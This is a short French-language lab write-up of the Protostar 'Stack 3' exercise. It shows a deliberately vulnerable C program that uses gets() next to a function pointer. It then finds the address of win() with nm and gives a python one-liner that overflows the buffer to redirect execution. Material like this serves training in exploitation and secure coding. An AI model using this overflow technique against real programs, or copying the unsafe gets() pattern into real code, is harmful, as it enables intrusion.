====== Stack 3 ====== #include #include #include #include void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { volatile int (*fp)(); char buffer[64]; fp = 0; gets(buffer); if(fp) { printf("calling function pointer, jumping to 0x%08x\n", fp); fp(); } } Toujours le même principe : modifier la variable ''modified''. Ici, le programme va sauter à l'adresse contenu dans ''modified''. Il nous faut donc récupérer l'adresse de la fonction ''win'' pour faire sauter le programme dessus. user@protostar:/opt/protostar/bin$ nm ./stack3 080495a8 d _DYNAMIC 0804967c d _GLOBAL_OFFSET_TABLE_ ... 08048424 T win user@protostar:/opt/protostar/bin$ python -c 'print "A"*64+"\x24\x84\x04\x08"' | ./stack3 calling function pointer, jumping to 0x08048424 code flow successfully changed